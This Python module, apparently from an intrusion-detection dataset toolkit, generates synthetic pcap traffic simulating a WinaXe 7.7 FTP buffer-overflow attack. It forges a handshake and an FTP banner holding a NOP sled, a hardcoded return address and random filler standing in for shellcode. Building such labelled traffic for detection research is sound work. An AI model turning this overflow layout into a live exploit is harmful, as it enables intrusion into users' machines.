FTPWinaXeExploit.py 10 KB

123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101102103104105106107108109110111112113114115116117118119120121122123124125126127128129130131132133134135136137138139140141142143144145146147148149150151152153154155156157158159160161162163164165166167168169170171172173174175176177178179180181182183184185186187188189190191192193194195196197198199200201202203204205206207208209210211212213214215216217218219220221222223224225
  1. import logging
  2. from random import randint
  3. from lea import Lea
  4. from scapy.layers.inet import IP, Ether, TCP
  5. from Attack import BaseAttack
  6. from Attack.AttackParameters import Parameter as Param
  7. from Attack.AttackParameters import ParameterTypes
  8. from ID2TLib.Utility import update_timestamp, generate_source_port_from_platform, get_rnd_x86_nop, forbidden_chars,\
  9. get_rnd_bytes
  10. logging.getLogger("scapy.runtime").setLevel(logging.ERROR)
  11. # noinspection PyPep8
  12. ftp_port = 21
  13. class FTPWinaXeExploit(BaseAttack.BaseAttack):
  14. def __init__(self):
  15. """
  16. Creates a new instance of the FTPWinaXeExploit.
  17. """
  18. # Initialize attack
  19. super(FTPWinaXeExploit, self).__init__("FTPWinaXe Exploit", "Injects an WinaXe 7.7 FTP Exploit.",
  20. "Privilege elevation")
  21. # Define allowed parameters and their type
  22. self.supported_params = {
  23. Param.IP_SOURCE: ParameterTypes.TYPE_IP_ADDRESS,
  24. Param.IP_DESTINATION: ParameterTypes.TYPE_IP_ADDRESS,
  25. Param.MAC_SOURCE: ParameterTypes.TYPE_MAC_ADDRESS,
  26. Param.MAC_DESTINATION: ParameterTypes.TYPE_MAC_ADDRESS,
  27. Param.INJECT_AT_TIMESTAMP: ParameterTypes.TYPE_FLOAT,
  28. Param.INJECT_AFTER_PACKET: ParameterTypes.TYPE_PACKET_POSITION,
  29. Param.IP_SOURCE_RANDOMIZE: ParameterTypes.TYPE_BOOLEAN,
  30. Param.PACKETS_PER_SECOND: ParameterTypes.TYPE_FLOAT
  31. }
  32. def init_params(self):
  33. """
  34. Initialize the parameters of this attack using the user supplied command line parameters.
  35. Use the provided statistics to calculate default parameters and to process user
  36. supplied queries.
  37. """
  38. # PARAMETERS: initialize with default values
  39. # (values are overwritten if user specifies them)
  40. most_used_ip_address = self.statistics.get_most_used_ip_address()
  41. if isinstance(most_used_ip_address, list):
  42. most_used_ip_address = most_used_ip_address[0]
  43. # The most used IP class in background traffic
  44. most_used_ip_class = self.statistics.process_db_query("most_used(ipClass)")
  45. attacker_ip = self.generate_random_ipv4_address(most_used_ip_class)
  46. self.add_param_value(Param.IP_DESTINATION, attacker_ip)
  47. self.add_param_value(Param.MAC_DESTINATION, self.generate_random_mac_address())
  48. random_ip_address = self.statistics.get_random_ip_address()
  49. # victim should be valid and not equal to attacker
  50. while not self.is_valid_ip_address(random_ip_address) or random_ip_address == attacker_ip:
  51. random_ip_address = self.statistics.get_random_ip_address()
  52. self.add_param_value(Param.IP_SOURCE, random_ip_address)
  53. victim_mac = self.statistics.get_mac_address(random_ip_address)
  54. if isinstance(victim_mac, list) and len(victim_mac) == 0:
  55. victim_mac = self.generate_random_mac_address()
  56. self.add_param_value(Param.MAC_SOURCE, victim_mac)
  57. self.add_param_value(Param.PACKETS_PER_SECOND,
  58. (self.statistics.get_pps_sent(most_used_ip_address) +
  59. self.statistics.get_pps_received(most_used_ip_address)) / 2)
  60. self.add_param_value(Param.INJECT_AFTER_PACKET, randint(0, self.statistics.get_packet_count()))
  61. self.add_param_value(Param.IP_SOURCE_RANDOMIZE, 'False')
  62. def generate_attack_pcap(self):
  63. def get_ip_data(ip_address: str):
  64. """
  65. :param ip_address: the ip of which (packet-)data shall be returned
  66. :return: MSS, TTL and Window Size values of the given IP
  67. """
  68. # Set MSS (Maximum Segment Size) based on MSS distribution of IP address
  69. mss_dist = self.statistics.get_mss_distribution(ip_address)
  70. if len(mss_dist) > 0:
  71. mss_prob_dict = Lea.fromValFreqsDict(mss_dist)
  72. mss_value = mss_prob_dict.random()
  73. else:
  74. mss_value = self.statistics.process_db_query("most_used(mssValue)")
  75. # Set TTL based on TTL distribution of IP address
  76. ttl_dist = self.statistics.get_ttl_distribution(ip_address)
  77. if len(ttl_dist) > 0:
  78. ttl_prob_dict = Lea.fromValFreqsDict(ttl_dist)
  79. ttl_value = ttl_prob_dict.random()
  80. else:
  81. ttl_value = self.statistics.process_db_query("most_used(ttlValue)")
  82. # Set Window Size based on Window Size distribution of IP address
  83. win_dist = self.statistics.get_win_distribution(ip_address)
  84. if len(win_dist) > 0:
  85. win_prob_dict = Lea.fromValFreqsDict(win_dist)
  86. win_value = win_prob_dict.random()
  87. else:
  88. win_value = self.statistics.process_db_query("most_used(winSize)")
  89. return mss_value, ttl_value, win_value
  90. pps = self.get_param_value(Param.PACKETS_PER_SECOND)
  91. # Timestamp
  92. timestamp_next_pkt = self.get_param_value(Param.INJECT_AT_TIMESTAMP)
  93. # store start time of attack
  94. self.attack_start_utime = timestamp_next_pkt
  95. # Initialize parameters
  96. ip_victim = self.get_param_value(Param.IP_SOURCE)
  97. ip_attacker = self.get_param_value(Param.IP_DESTINATION)
  98. mac_victim = self.get_param_value(Param.MAC_SOURCE)
  99. mac_attacker = self.get_param_value(Param.MAC_DESTINATION)
  100. packets = []
  101. # Create random victim if specified
  102. if self.get_param_value(Param.IP_SOURCE_RANDOMIZE):
  103. # The most used IP class in background traffic
  104. most_used_ip_class = self.statistics.process_db_query("most_used(ipClass)")
  105. ip_victim = self.generate_random_ipv4_address(most_used_ip_class, 1)
  106. mac_victim = self.generate_random_mac_address()
  107. # Get MSS, TTL and Window size value for victim/attacker IP
  108. victim_mss_value, victim_ttl_value, victim_win_value = get_ip_data(ip_victim)
  109. attacker_mss_value, attacker_ttl_value, attacker_win_value = get_ip_data(ip_attacker)
  110. minDelay, maxDelay = self.get_reply_delay(ip_attacker)
  111. attacker_seq = randint(1000, 50000)
  112. victim_seq = randint(1000, 50000)
  113. sport = generate_source_port_from_platform("win7")
  114. # connection request from victim (client)
  115. victim_ether = Ether(src=mac_victim, dst=mac_attacker)
  116. victim_ip = IP(src=ip_victim, dst=ip_attacker, ttl=victim_ttl_value, flags='DF')
  117. request_tcp = TCP(sport=sport, dport=ftp_port, window=victim_win_value, flags='S',
  118. seq=victim_seq, options=[('MSS', victim_mss_value)])
  119. victim_seq += 1
  120. syn = (victim_ether / victim_ip / request_tcp)
  121. syn.time = timestamp_next_pkt
  122. timestamp_next_pkt = update_timestamp(timestamp_next_pkt, pps, minDelay)
  123. packets.append(syn)
  124. # response from attacker (server)
  125. attacker_ether = Ether(src=mac_attacker, dst=mac_victim)
  126. attacker_ip = IP(src=ip_attacker, dst=ip_victim, ttl=attacker_ttl_value, flags='DF')
  127. reply_tcp = TCP(sport=ftp_port, dport=sport, seq=attacker_seq, ack=victim_seq, flags='SA',
  128. window=attacker_win_value, options=[('MSS', attacker_mss_value)])
  129. attacker_seq += 1
  130. synack = (attacker_ether / attacker_ip / reply_tcp)
  131. synack.time = timestamp_next_pkt
  132. timestamp_next_pkt = update_timestamp(timestamp_next_pkt, pps, minDelay)
  133. packets.append(synack)
  134. # acknowledgement from victim (client)
  135. ack_tcp = TCP(sport=sport, dport=ftp_port, seq=victim_seq, ack=attacker_seq, flags='A',
  136. window=victim_win_value, options=[('MSS', victim_mss_value)])
  137. ack = (victim_ether / victim_ip / ack_tcp)
  138. ack.time = timestamp_next_pkt
  139. timestamp_next_pkt = update_timestamp(timestamp_next_pkt, pps)
  140. packets.append(ack)
  141. # FTP exploit packet
  142. ftp_tcp = TCP(sport=ftp_port, dport=sport, seq=attacker_seq, ack=victim_seq, flags='PA',
  143. window=attacker_win_value, options=[('MSS', attacker_mss_value)])
  144. characters = b'220'
  145. characters += get_rnd_x86_nop(2065, False, forbidden_chars)
  146. characters += b'\x96\x72\x01\x68'
  147. characters += get_rnd_x86_nop(10, False, forbidden_chars)
  148. # FIXME: maybe add custom payload, fill rest of the 1000 bytes with get_rnd_x86_nop at the beginning
  149. payload = get_rnd_bytes(1000, forbidden_chars)
  150. characters += payload
  151. characters += get_rnd_x86_nop(20, False, forbidden_chars)
  152. characters += b'\r\n'
  153. ftp_tcp.add_payload(characters)
  154. ftp_buff = (attacker_ether / attacker_ip / ftp_tcp)
  155. ftp_buff.time = timestamp_next_pkt
  156. timestamp_next_pkt = update_timestamp(timestamp_next_pkt, pps)
  157. packets.append(ftp_buff)
  158. attacker_seq += len(ftp_tcp.payload)
  159. # Fin Ack from attacker
  160. fin_ack_tcp = TCP(sport=ftp_port, dport=sport, seq=attacker_seq, ack=victim_seq, flags='FA',
  161. window=attacker_win_value, options=[('MSS', attacker_mss_value)])
  162. fin_ack = (attacker_ether / attacker_ip / fin_ack_tcp)
  163. fin_ack.time = timestamp_next_pkt
  164. timestamp_next_pkt = update_timestamp(timestamp_next_pkt, pps, minDelay)
  165. packets.append(fin_ack)
  166. # Ack from victim on FTP packet
  167. ftp_ack_tcp = TCP(sport=sport, dport=ftp_port, seq=victim_seq, ack=attacker_seq, flags='A',
  168. window=victim_win_value, options=[('MSS', victim_mss_value)])
  169. ftp_ack = (victim_ether / victim_ip / ftp_ack_tcp)
  170. ftp_ack.time = timestamp_next_pkt
  171. timestamp_next_pkt = update_timestamp(timestamp_next_pkt, pps)
  172. packets.append(ftp_ack)
  173. # Ack from victim on Fin/Ack of attacker
  174. fin_ack_ack_tcp = TCP(sport=sport, dport=ftp_port, seq=victim_seq, ack=attacker_seq+1, flags='A',
  175. window=victim_win_value, options=[('MSS', victim_mss_value)])
  176. fin_ack_ack = (victim_ether / victim_ip / fin_ack_ack_tcp)
  177. fin_ack_ack.time = timestamp_next_pkt
  178. packets.append(fin_ack_ack)
  179. # store end time of attack
  180. self.attack_end_utime = packets[-1].time
  181. # write attack packets to pcap
  182. pcap_path = self.write_attack_pcap(sorted(packets, key=lambda pkt: pkt.time))
  183. # return packets sorted by packet time_sec_start
  184. return len(packets), pcap_path